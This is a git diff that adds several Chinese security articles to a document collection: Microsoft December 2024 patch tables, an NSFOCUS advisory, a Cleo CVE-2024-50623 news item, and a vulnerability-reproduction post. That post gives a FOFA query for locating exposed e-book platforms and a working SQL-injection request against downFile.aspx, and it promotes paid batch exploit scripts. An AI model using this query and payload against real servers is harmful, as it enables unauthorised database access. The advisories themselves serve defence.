https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49086
55
Microsoft Windows Mobile Broadband Driver 安全漏洞
CNNVD-202412-1168
CVE-2024-49087
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49087
56
Microsoft Windows Routing and Remote Access Service 安全漏洞
CNNVD-202412-1172
CVE-2024-49089
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49089
57
Microsoft Windows Common Log File System Driver 安全漏洞
CNNVD-202412-1320
CVE-2024-49090
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49090
58
Microsoft DNS Server 安全漏洞
CNNVD-202412-1174
CVE-2024-49091
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49091
59
Microsoft Windows Mobile Broadband Driver 安全漏洞
CNNVD-202412-1179
CVE-2024-49092
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49092
60
Microsoft Windows Resilient File System 安全漏洞
CNNVD-202412-1181
CVE-2024-49093
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49093
61
Microsoft Windows Wireless Wide Area Network Service 安全漏洞
CNNVD-202412-1184
CVE-2024-49094
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49094
62
Microsoft Windows Wireless Wide Area Network Service 安全漏洞
CNNVD-202412-1197
CVE-2024-49098
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49098
63
Microsoft Windows Wireless Wide Area Network Service 安全漏洞
CNNVD-202412-1212
CVE-2024-49103
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49103
64
Microsoft Windows Routing and Remote Access Service 安全漏洞
CNNVD-202412-1214
CVE-2024-49104
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49104
65
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1217
CVE-2024-49106
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49106
66
Microsoft Windows Mobile Broadband Driver 安全漏洞
CNNVD-202412-1330
CVE-2024-49110
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49110
67
Microsoft Windows Wireless Wide Area Network Service 安全漏洞
CNNVD-202412-1227
CVE-2024-49111
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49111
68
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1229
CVE-2024-49115
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49115
69
Microsoft Hyper-V 安全漏洞
CNNVD-202412-1232
CVE-2024-49117
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49117
70
Microsoft Windows Local Security Authority Subsystem Service 安全漏洞
CNNVD-202412-1256
CVE-2024-49126
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49126
71
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1354
CVE-2024-49128
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49128
+此次更新共包括4个更新漏洞的补丁程序，其中高危漏洞4个。 +
序号
漏洞名称
CNNVD编号
CVE编号
危害等级
官方链接
1
Microsoft QUIC 安全漏洞
CNNVD-202310-806
CVE-2023-36435
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36435
2
Microsoft QUIC 安全漏洞
CNNVD-202310-726
CVE-2023-38171
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-38171
3
Microsoft Windows PowerShell 安全漏洞
CNNVD-202407-770
CVE-2024-38033
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38033
4
Microsoft Winlogon 安全漏洞
CNNVD-202410-755
CVE-2024-43583
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43583
+此次更新共包括1个影响微软产品的其他厂商漏洞的补丁程序，其中高危漏洞1个。 +
序号
漏洞名称
CNNVD编号
CVE编号
危害等级
厂商
官方链接
1
Apache HTTP/2 资源管理错误漏洞
CNNVD-202310-667
CVE-2023-44487
高危
Apache基金会
https://lists.apache.org/thread/5py8h42mxfsn8l1wy6o41xwhsjlsd87q
+## 三修复建议 + + +目前，微软官方已经发布补丁修复了上述漏洞，建议用户及时确认漏洞影响，尽快采取修补措施。微软官方补丁下载地址： + +https://msrc.microsoft.com/update-guide/en-us + +CNNVD将继续跟踪上述漏洞的相关情况，及时发布相关信息。如有需要，可与CNNVD联系。联系方式: cnnvd@itsec.gov.cn + +![](https://mmbiz.qpic.cn/mmbiz_gif/tV4JDvMn6RMFN7ExSt7AEhx1DPNW68Bt8SXrAelC5L01auTNJkN19gJn8zP0hPAhSMHibfRNj70fV2aDD6u681Q/640?&wx_fmt=gif "") + + diff --git a/doc/Cleo 0day漏洞 CVE-2024-50623 poc 公开.md b/doc/Cleo 0day漏洞 CVE-2024-50623 poc 公开.md new file mode 100644 index 00000000..2d3da416 --- /dev/null +++ b/doc/Cleo 0day漏洞 CVE-2024-50623 poc 公开.md @@ -0,0 +1,41 @@ +# Cleo 0day漏洞 CVE-2024-50623 poc 公开 + 剁椒鱼头没剁椒 2024-12-12 07:37 + +## + +CVE-2024-50623这一关键漏洞正在被恶意利用，使用Cleo文件传输软件的企业应立即开始防护。这个漏洞影响Cleo LexiCom、VLTrader和Harmony产品，允许攻击者在易受攻击的系统上远程执行恶意代码。 + +Cleo 公司最初于 2024 年 10 月报告并解决了这个允许不受限制地上传和下载文件的漏洞。然而，Huntress 的安全研究人员发现 Cleo 发布的补丁不完整，导致系统容易受到攻击。 + +"Huntress警告说："这个漏洞正被积极利用，运行 5.8.0.21 补丁的系统仍有可能被利用。"强烈建议将任何暴露在互联网上的 Cleo 系统转移到防火墙后面，直到新补丁发布为止。 + +主动利用的证明始于 2024 年 12 月 3 日，12 月 8 日观察到攻击显著激增。攻击者利用该漏洞将恶意文件上传到目标系统的 "autorun "目录，从而执行恶意 PowerShell 命令。 + +安全研究公司 WatchTowr公布了CVE-2024-50623 的PoC。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/BgpLXnnTHwbTk528OlrujfTx2RzblHjAQo1s27SX0bNOWxCUVuOU5QGqrYw60dcX677xFN2YlS0c3EzDsrvorQ/640?wx_fmt=other&from=appmsg "") + +CVE-2024-50623 PoC + +来源： Watchtowr + +Cleo已经承认了这个问题，并发布了一个更新补丁（版本5.8.0.24）来解决这个漏洞。"Cleo强烈建议所有客户立即将Harmony、VLTrader和LexiCom的实例升级到最新发布的补丁（版本5.8.0.24），以解决额外发现的潜在漏洞攻击向量。 + +我们强烈建议各组织立即将其 Cleo 软件更新到最新版本，并采取额外的安全措施，如网络分段和入侵检测系统，以降低被入侵的风险。 + +poc链接： +``` +https://labs.watchtowr.com/cleo-cve-2024-50623/ + +``` + + + +广告： + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/lic4LrsB27nsCoUtu7S3iaU9uQd1tDmUkkVTPUPn8MbUmWHnPzhO5T5d6a0xf1O25iaEs8GSrjMFWmlJVXTHWfDIw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +☟上下滑动查看更多 + + diff --git a/doc/「漏洞复现」电子图书阅读平台 downFile.aspx SQL注入漏洞.md b/doc/「漏洞复现」电子图书阅读平台 downFile.aspx SQL注入漏洞.md new file mode 100644 index 00000000..cd3b615f --- /dev/null +++ b/doc/「漏洞复现」电子图书阅读平台 downFile.aspx SQL注入漏洞.md @@ -0,0 +1,125 @@ +# 「漏洞复现」电子图书阅读平台 downFile.aspx SQL注入漏洞 +冷漠安全 冷漠安全 2024-12-12 13:41 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rPMtsalfZ0pFeDPJNnYaE7pYibBLQrUbLZwqelcotCqhYf0seBKfHroSUm8XuHyka5I3SmicWcJYUpZbFmxJCZ1Q/640?wx_fmt=gif&from=appmsg "") + +0x01 免责声明 + +请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！！！ + +0x02 + +产品介绍 + +电子图书阅读平台为用户提供了一种便捷、环保且资源丰富的阅读方式,支持简单检索、二次检索、高级检索及全文检索；同时支持教育部、中图法两种分类浏览方式。支持在线阅读与离线下载阅读两种方式。在线阅读时，读者可实时在线打开电子教材进行翻阅，但部分教材有并发用户限制。下载阅读需下载至平台自带的独立阅读器打开，单本电子书每次下载使用期一般为30天，到期前可重新登陆平台下载。 + +0x03 + +漏洞威胁 + +电子图书阅读平台 downFile.aspx 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。 + +0x04 + +漏洞环境 + +FOFA: +  +``` +body="/Index.aspx/SearchBy" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0pK3iapPct30wS95Hl0LE5Dx6jDrahstuDxpyW6DBlWsND1hJ7aVbgaZMaBUE55Kaws5I8icsdeNOGw/640?wx_fmt=png&from=appmsg "") + + +0x05 + +漏洞复现 + +PoC +``` +GET /web/downFile.aspx?id=%27%2B%28SELECT+CHAR%2867%29%2BCHAR%2885%29%2BCHAR%2886%29%2BCHAR%2879%29+WHERE+1651%3D1651+AND+7828+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%28122%29%2BCHAR%28113%29%2BCHAR%28122%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%287828%3D7828%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28120%29%2BCHAR%28122%29%2BCHAR%28113%29%29%29%29%2B%27 HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Accept: */* +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0pK3iapPct30wS95Hl0LE5DxDxLkxmX9EbdnoicbIg7KqkDZa5gZS2Vy8Q9XUDcT2nvVe9Hicibm9L3gA/640?wx_fmt=png&from=appmsg "") + +0x06 + +批量脚本验证 + +Nuclei验证脚本已发布 + +知识星球：冷漠安全 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0pK3iapPct30wS95Hl0LE5Dxf7XkDDFl6vt44zXKPjiabqljuZjHCNspYWgL6WfTdzynlpGQsicvJZtA/640?wx_fmt=png&from=appmsg "") + + +0x07 + +修复建议 + +对用户传入的参数进行限制。 + +通过防火墙等安全设备设置访问策略，设置白名单访问。 + +如非必要，禁止公网访问该系统。 + +0x08 + +加入我们 + +漏洞详情及批量检测POC工具请前往知识星球获取 + +知识星球：冷漠安全 + +交个朋友，限时优惠券：加入立减25 + +星球福利：每天更新最新漏洞POC、资料文献、内部工具等 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0pK3iapPct30wS95Hl0LE5DxtTQ0Q5ibKoK5pf6vs66oA0LQVrRgZdSibFmm75A80wt4zLu1uKpBTx0Q/640?wx_fmt=png&from=appmsg "") + + +「星球介绍」： + +本星球不割韭菜，不发烂大街东西。欢迎进来白嫖，不满意三天退款。 + +本星球坚持每天分享一些攻防知识，包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。 + +本星主已加入几十余个付费星球，定期汇聚高质量资料及工具进行星球分享。 + + +「星球服务」： + + +加入星球，你会获得： + + +♦ 批量验证漏洞POC脚本 + + +♦ 0day、1day分享 + + +♦ 汇集其它付费星球资源分享 + + +♦ 大量的红蓝对抗实战资源 + + +♦ 优秀的内部红蓝工具及插件 + + +♦ 综合类别优秀Wiki文库及漏洞库 + + +♦ 提问及技术交流 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rPMtsalfZ0pK3iapPct30wS95Hl0LE5Dx4jyRDVwxw4rDLsNDcYauj1oHBuYMCibob02rWfxLw16Tj5ZWEQFt2ZA/640?wx_fmt=gif&from=appmsg "") + + diff --git a/doc/【安全更新】微软12月安全更新多个产品高危漏洞通告.md b/doc/【安全更新】微软12月安全更新多个产品高危漏洞通告.md new file mode 100644 index 00000000..dd230c9a --- /dev/null +++ b/doc/【安全更新】微软12月安全更新多个产品高危漏洞通告.md @@ -0,0 +1,154 @@ +# 【安全更新】微软12月安全更新多个产品高危漏洞通告 +原创 NS-CERT 绿盟科技CERT 2024-12-12 03:30 + +**通告编号:NS-2024-0035** + +2024-12-12 + +
TAG：

安全更新、Windows、Windows LDAP、Microsoft Office、Windows Remote Desktop Services、Microsoft SharePoin

漏洞危害：

攻击者利用本次安全更新中的漏洞，可造成权限提升、远程代码执行等

版本：1.0
+ +**1** + + +**漏洞概述** + + +12月11日，绿盟科技CERT监测到微软发布12月安全更新补丁，修复了72个安全问题，涉及Windows、Windows LDAP、Microsoft Office、Windows Remote Desktop Services、Microsoft SharePoint等广泛使用的产品，其中包括权限提升、远程代码执行等高危漏洞类型。 + +本月微软月度更新修复的漏洞中，严重程度为关键（Critical）的漏洞有17个，重要（Important）漏洞有54个。其中包括1个存在在野利用的漏洞： + +Windows 通用日志文件系统驱动程序权限提升漏洞（CVE-2024-49138） + +请相关用户尽快更新补丁进行防护，完整漏洞列表请参考附录。 + + +参考链接： + +https://msrc.microsoft.com/update-guide/en-us/releaseNote/2024-Dec + + +**SEE MORE →** + + +**2****重点漏洞简述** + +根据产品流行度和漏洞重要性筛选出此次更新中包含影响较大的漏洞，请相关用户重点进行关注： + +**Windows通用日志文件系统驱动程序权限提升漏洞(CVE-2024-49138)：** + +Windows通用日志文件系统驱动程序中存在权限提升漏洞，经过身份验证的攻击者通过运行特制的程序触发边界错误和堆缓冲区溢出，从而获得系统的SYSTEM权限。该漏洞已存在在野利用，CVSS评分7.8。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138 + + + **Windows轻量级目录访问协议(LDAP)远程代码执行漏洞(CVE-2024-49112)：** + +Windows轻量级目录访问协议存在远程代码执行漏洞，未经身份验证的攻击者通过构造特制的数据（如超大或特定的数值），通过特制的LDAP调用触发整数溢出或回绕，从而实现远程代码执行。CVSS评分9.8。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49112 + + + **Windows本地安全机构子系统服务(LSASS)远程代码执行漏洞(CVE-2024-49126)：** + +Windows本地安全机构子系统服务(LSASS)中存在远程代码执行漏洞，由于在处理安全验证时存在释放后重利用（Use After Free）和敏感数据存储不当，攻击者可以通过网络调用在目标服务器帐户上下文中执行任意代码，从而完全控制系统。CVSS评分8.1。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-49126 + + + **Microsoft消息队列(MSMQ)远程代码执行漏洞(CVE-2024-49122)：** + +Microsoft消息队列(MSMQ)中存在远程代码执行漏洞，由于MSMQ中存在释放后重利用（Use After Free），未经身份验证的攻击者可通过向MSMQ服务器发送特制的MSMQ数据包，触发该漏洞并赢得竞争条件，从而实现远程代码执行。CVSS评分为8.1。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-49122 + + + **远程桌面客户端远程代码执行漏洞(CVE-2024-49105)：** + +远程桌面客户端中存在远程代码执行漏洞，由于Remote Desktop Client中的访问控制不当，攻击者可以利用该漏洞远程执行任意代码。CVSS评分8.4。 + +官方链接通告： + +https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-49105 + + + **Windows Hyper-V远程代码执行漏洞(CVE-2024-49117)：** + +Windows Hyper-V中存在远程代码执行漏洞，由于Windows Hyper-V在处理虚拟机操作时返回错误的状态码，经过身份验证的攻击者可向虚拟机上的硬件资源发送特制的文件操作请求，从而在目标系统上远程执行代码。CVSS评分8.8。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-49117 + + + **Windows Resilient文件系统(ReFS)权限提升漏洞(CVE-2024-49093)：** + +Windows Resilient文件系统(ReFS)中存在权限提升漏洞，由于 Windows Resilient File System (ReFS) 在处理文件系统操作时存在数值类型转换错误，经过身份验证的攻击者通过运行特制的程序能够绕过正常的权限检查机制，从而获得系统的SYSTEM权限。CVSS评分8.8。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-49093 + + +**3****影响范围** + +以下为部分重点关注漏洞的受影响产品版本，其他漏洞影响产品范围请参阅官方通告链接。 +

漏洞编号

受影响产品版本

CVE-2024-49138

CVE-2024-49112

CVE-2024-49126

CVE-2024-49122

Windows   11 Version 22H2 for x64-based Systems

Windows   11 Version 22H2 for ARM64-based Systems

Windows   10 Version 21H2 for x64-based Systems

Windows   10 Version 21H2 for ARM64-based Systems

Windows   10 Version 21H2 for 32-bit Systems

Windows   Server 2022 (Server Core installation)

Windows   Server 2022

Windows   Server 2012 R2 (Server Core installation)

Windows   Server 2012 R2

Windows   Server 2012 (Server Core installation)

Windows   Server 2012

Windows   Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core   installation)

Windows   Server 2008 R2 for x64-based Systems Service Pack 1

Windows   Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows   Server 2008 for x64-based Systems Service Pack 2

Windows   Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows   Server 2008 for 32-bit Systems Service Pack 2

Windows   Server 2016 (Server Core installation)

Windows   Server 2016

Windows   10 Version 1607 for x64-based Systems

Windows   10 Version 1607 for 32-bit Systems

Windows   10 for x64-based Systems

Windows   10 for 32-bit Systems

Windows   Server 2025

Windows   11 Version 24H2 for x64-based Systems

Windows   11 Version 24H2 for ARM64-based Systems

Windows   Server 2022, 23H2 Edition (Server Core installation)

Windows   11 Version 23H2 for x64-based Systems

Windows   11 Version 23H2 for ARM64-based Systems

Windows   Server 2025 (Server Core installation)

Windows   10 Version 22H2 for 32-bit Systems

Windows   10 Version 22H2 for ARM64-based Systems

Windows   10 Version 22H2 for x64-based Systems

Windows   Server 2019 (Server Core installation)

Windows   Server 2019

Windows   10 Version 1809 for x64-based Systems

Windows   10 Version 1809 for 32-bit Systems

CVE-2024-49105

Windows   App Client for Windows Desktop

Windows   Server 2012 R2 (Server Core installation)

Windows   Server 2012 R2

Windows   Server 2012 (Server Core installation)

Windows   Server 2012

Windows   Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core   installation)

Windows   Server 2008 R2 for x64-based Systems Service Pack 1

Windows   Server 2016 (Server Core installation)

Windows   Server 2016

Windows   10 Version 1607 for x64-based Systems

Windows   10 Version 1607 for 32-bit Systems

Windows   10 for x64-based Systems

Windows   10 for 32-bit Systems

Windows   Server 2025

Windows   11 Version 24H2 for x64-based Systems

Windows   11 Version 24H2 for ARM64-based Systems

Windows   Server 2022, 23H2 Edition (Server Core installation)

Windows   11 Version 23H2 for x64-based Systems

Windows   11 Version 23H2 for ARM64-based Systems

Windows   Server 2025 (Server Core installation)

Windows   10 Version 22H2 for 32-bit Systems

Windows   10 Version 22H2 for ARM64-based Systems

Windows   10 Version 22H2 for x64-based Systems

Windows   11 Version 22H2 for x64-based Systems

Windows   11 Version 22H2 for ARM64-based Systems

Windows   10 Version 21H2 for x64-based Systems

Windows   10 Version 21H2 for ARM64-based Systems

Windows   10 Version 21H2 for 32-bit Systems

Windows   Server 2022 (Server Core installation)

Windows   Server 2022

Remote   Desktop client for Windows Desktop

Windows   Server 2019 (Server Core installation)

Windows   Server 2019

Windows   10 Version 1809 for x64-based Systems

Windows   10 Version 1809 for 32-bit Systems

CVE-2024-49117

Windows   Server 2025

Windows   11 Version 24H2 for x64-based Systems

Windows   11 Version 24H2 for ARM64-based Systems

Windows   Server 2022, 23H2 Edition (Server Core installation)

Windows   11 Version 23H2 for x64-based Systems

Windows   11 Version 23H2 for ARM64-based Systems

Windows   Server 2025 (Server Core installation)

Windows   11 Version 22H2 for x64-based Systems

Windows   11 Version 22H2 for ARM64-based Systems

Windows   Server 2022 (Server Core installation)

Windows   Server 2022

CVE-2024-49093

Windows   11 Version 24H2 for x64-based Systems

Windows   11 Version 24H2 for ARM64-based Systems

Windows   Server 2025 (Server Core installation)

Windows   Server 2025

+ +**4****漏洞防护** + +**4.1 补丁更新** + +目前微软官方已针对受支持的产品版本发布了修复以上漏洞的安全补丁，强烈建议受影响用户尽快安装补丁进行防护。 + +官方下载链接： + +https://msrc.microsoft.com/update-guide/en-us/releaseNote/2024-Dec + + 注：由于网络问题、计算机环境问题等原因，Windows Update的补丁更新可能出现失败。用户在安装补丁后，应及时检查补丁是否成功更新。 + +右键点击Windows图标，选择“设置(N)”，选择“更新和安全”-“Windows更新”，查看该页面上的提示信息，也可点击“查看更新历史记录”查看历史更新情况。 + +针对未成功安装的更新，可点击更新名称跳转到微软官方下载页面，建议用户点击该页面上的链接，转到“Microsoft更新目录”网站下载独立程序包并安装。 + + +**附录：漏洞列表** +

影响产品

CVE编号

漏洞标题

严重程度

Windows

CVE-2024-49106

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49108

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49115

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49117

Windows Hyper-V 远程代码执行漏洞

Critical

Windows

CVE-2024-49119

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49120

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49122

Microsoft Message Queuing (MSMQ) 远程代码执行漏洞

Critical

Windows

CVE-2024-49123

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49124

Lightweight Directory Access Protocol   (LDAP) Client 远程代码执行漏洞

Critical

Windows

CVE-2024-49126

Windows Local Security Authority   Subsystem Service (LSASS) 远程代码执行漏洞

Critical

Windows

CVE-2024-49132

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49116

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49118

Microsoft Message Queuing (MSMQ) 远程代码执行漏洞

Critical

Windows

CVE-2024-49127

Windows Lightweight Directory Access   Protocol (LDAP) 远程代码执行漏洞

Critical

Windows

CVE-2024-49128

Windows Remote Desktop Services 远程代码执行漏洞

Critical

Windows

CVE-2024-49112

Windows Lightweight Directory Access   Protocol (LDAP) 远程代码执行漏洞

Critical

Windows

CVE-2024-49105

Remote Desktop Client 远程代码执行漏洞

Critical

System Center

CVE-2024-43594

System Center Operations Manager 权限提升漏洞

Important

System Center

CVE-2024-49057

Microsoft Defender for Endpoint on   Android 欺骗漏洞

Important

Microsoft Office

CVE-2024-49059

Microsoft Office 权限提升漏洞

Important

Microsoft Office

CVE-2024-49064

Microsoft SharePoint 信息披露漏洞

Important

Microsoft Office

CVE-2024-49068

Microsoft SharePoint 权限提升漏洞

Important

Microsoft Office

CVE-2024-49069

Microsoft Excel 远程代码执行漏洞

Important

Microsoft Office

CVE-2024-49070

Microsoft SharePoint 远程代码执行漏洞

Important

Windows

CVE-2024-49073

Windows Mobile Broadband Driver 权限提升漏洞

Important

Windows

CVE-2024-49074

Windows Kernel-Mode Driver 权限提升漏洞

Important

Windows

CVE-2024-49084

Windows Kernel 权限提升漏洞

Important

Windows

CVE-2024-49085

Windows Routing and Remote Access   Service (RRAS) 远程代码执行漏洞

Important

Windows

CVE-2024-49086

Windows Routing and Remote Access   Service (RRAS) 远程代码执行漏洞

Important

Windows

CVE-2024-49087

Windows Mobile Broadband Driver 信息披露漏洞

Important

Windows

CVE-2024-49089

Windows Routing and Remote Access   Service (RRAS) 远程代码执行漏洞

Important

Windows

CVE-2024-49091

Windows    Domain Name Service 远程代码执行漏洞

Important

Windows

CVE-2024-49092

Windows Mobile Broadband Driver 权限提升漏洞

Important

Windows

CVE-2024-49093

Windows Resilient File System (ReFS) 权限提升漏洞

Important

Windows

CVE-2024-49094

Wireless Wide Area Network Service   (WwanSvc) 权限提升漏洞

Important

Windows

CVE-2024-49096

Microsoft Message Queuing (MSMQ) 拒绝服务漏洞

Important

Windows

CVE-2024-49097

Windows PrintWorkflowUserSvc 权限提升漏洞

Important

Windows

CVE-2024-49098

Windows Wireless Wide Area Network   Service (WwanSvc) 信息披露漏洞

Important

Windows

CVE-2024-49099

Windows Wireless Wide Area Network   Service (WwanSvc) 信息披露漏洞

Important

Windows

CVE-2024-49101

Wireless Wide Area Network Service   (WwanSvc) 权限提升漏洞

Important

Windows

CVE-2024-49102

Windows Routing and Remote Access   Service (RRAS) 远程代码执行漏洞

Important

Windows

CVE-2024-49103

Windows Wireless Wide Area Network   Service (WwanSvc) 信息披露漏洞

Important

Windows

CVE-2024-49104

Windows Routing and Remote Access   Service (RRAS) 远程代码执行漏洞

Important

Windows

CVE-2024-49107

WmsRepair Service 权限提升漏洞

Important

Windows

CVE-2024-49111

Wireless Wide Area Network Service   (WwanSvc) 权限提升漏洞

Important

Windows

CVE-2024-49121

Windows Lightweight Directory Access   Protocol (LDAP) 拒绝服务漏洞

Important

Windows

CVE-2024-49125

Windows Routing and Remote Access   Service (RRAS) 远程代码执行漏洞

Important

Windows

CVE-2024-49129

Windows Remote Desktop Gateway (RD   Gateway) 拒绝服务漏洞

Important

Microsoft Office

CVE-2024-49142

Microsoft Access 远程代码执行漏洞

Important

Microsoft Office

CVE-2024-43600

Microsoft Office 权限提升漏洞

Important

Microsoft Office

CVE-2024-49062

Microsoft SharePoint 信息披露漏洞

Important

Microsoft/Muzic

CVE-2024-49063

Microsoft/Muzic 远程代码执行漏洞

Important

Microsoft Office

CVE-2024-49065

Microsoft Office 远程代码执行漏洞

Important

Windows

CVE-2024-49072

Windows Task Scheduler 权限提升漏洞

Important

Windows

CVE-2024-49075

Windows Remote Desktop Services 拒绝服务漏洞

Important

Windows

CVE-2024-49076

Windows Virtualization-Based Security   (VBS) Enclave 权限提升漏洞

Important

Windows

CVE-2024-49077

Windows Mobile Broadband Driver 权限提升漏洞

Important

Windows

CVE-2024-49078

Windows Mobile Broadband Driver 权限提升漏洞

Important

Windows

CVE-2024-49079

Input Method Editor (IME) 远程代码执行漏洞

Important

Windows

CVE-2024-49080

Windows IP Routing Management Snapin 远程代码执行漏洞

Important

Windows

CVE-2024-49081

Wireless Wide Area Network Service   (WwanSvc) 权限提升漏洞

Important

Windows

CVE-2024-49082

Windows File Explorer 信息披露漏洞

Important

Windows

CVE-2024-49083

Windows Mobile Broadband Driver 权限提升漏洞

Important

Windows

CVE-2024-49088

Windows Common Log File System Driver 权限提升漏洞

Important

Windows

CVE-2024-49090

Windows Common Log File System Driver 权限提升漏洞

Important

Windows

CVE-2024-49095

Windows PrintWorkflowUserSvc 权限提升漏洞

Important

Windows

CVE-2024-49109

Wireless Wide Area Network Service   (WwanSvc) 权限提升漏洞

Important

Windows

CVE-2024-49110

Windows Mobile Broadband Driver 权限提升漏洞

Important

Windows

CVE-2024-49113

Windows Lightweight Directory Access   Protocol (LDAP) 拒绝服务漏洞

Important

Windows

CVE-2024-49114

Windows Cloud Files Mini Filter Driver 权限提升漏洞

Important

Windows

CVE-2024-49138

Windows Common Log File System Driver 权限提升漏洞

Important

Microsoft Office

ADV240002

Microsoft Office Defense in Depth Update

Moderate

+ + +**END** + +![](https://mmbiz.qpic.cn/mmbiz_png/qR4ORTNELImFwJM2rh6GKbnrurdFA28jJ8chUPyC1U6aW3jhenqEiaXkmeGVmfOnvAJy8j3My901JQ7emHaicYzA/640?wx_fmt=png "") +          + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qR4ORTNELImFwJM2rh6GKbnrurdFA28jib7icfic0lJJHh3eLRpIXiaia08KqOSEibBsz64vlOH9aqicu3lmjccEeAFWQ/640?wx_fmt=jpeg "") +         + +**声明** + +本安全公告仅用来描述可能存在的安全问题，绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，绿盟科技以及安全公告作者不为此承担任何责任。             + +绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告，必须保证此安全公告的完整性，包括版权声明等全部内容。未经绿盟科技允许，不得任意修改或者增减此安全公告内容，不得以任何方式将其用于商业目的。             + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qR4ORTNELImFwJM2rh6GKbnrurdFA28jib7icfic0lJJHh3eLRpIXiaia08KqOSEibBsz64vlOH9aqicu3lmjccEeAFWQ/640?wx_fmt=jpeg "") + + +**绿盟科技CERT** +**** +∣ +微信公众号 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/VvfsuOanecrjr8X4t0BcO7JL1g93cc8l0icZ0EVibkeLjlTkMdhtFTCpu1owdOHO3BZYzOGQUZnFBvhpibia9OYKYw/640?wx_fmt=jpeg&from=appmsg "绿盟科技CERT公众号.jpg") + +![](https://mmbiz.qpic.cn/mmbiz/Hu8hctxHqSW0nSJn8p8OHVEQwHicSwTibFJMBE650AxdzfISoeY8woe2QsgCINIBrccBOOUft2HuU0GsNQWibSG7g/640?wx_fmt=png "") + +长按识别二维码，关注网络安全威胁信息 + + diff --git a/doc/【漏洞通告】Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677).md b/doc/【漏洞通告】Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677).md new file mode 100644 index 00000000..3d5c57af --- /dev/null +++ b/doc/【漏洞通告】Apache Struts 2 